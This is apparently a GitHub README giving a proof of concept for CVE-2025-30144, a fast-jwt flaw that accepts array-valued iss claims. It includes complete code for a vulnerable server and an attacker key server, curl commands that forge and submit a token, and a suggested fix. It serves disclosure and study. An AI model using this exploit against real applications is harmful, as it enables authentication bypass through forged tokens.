tibrn/cve-2025-30144Proof-of-concept for CVE-2025-30144: JWT issuer validation bypass in fast-jwt library allowing attackers to forge tokens with array-based iss claims.
The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.
Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the array, alongside the legitimate issuer, and bypass the intended security checks.
issTake a server running the following code:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.
Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.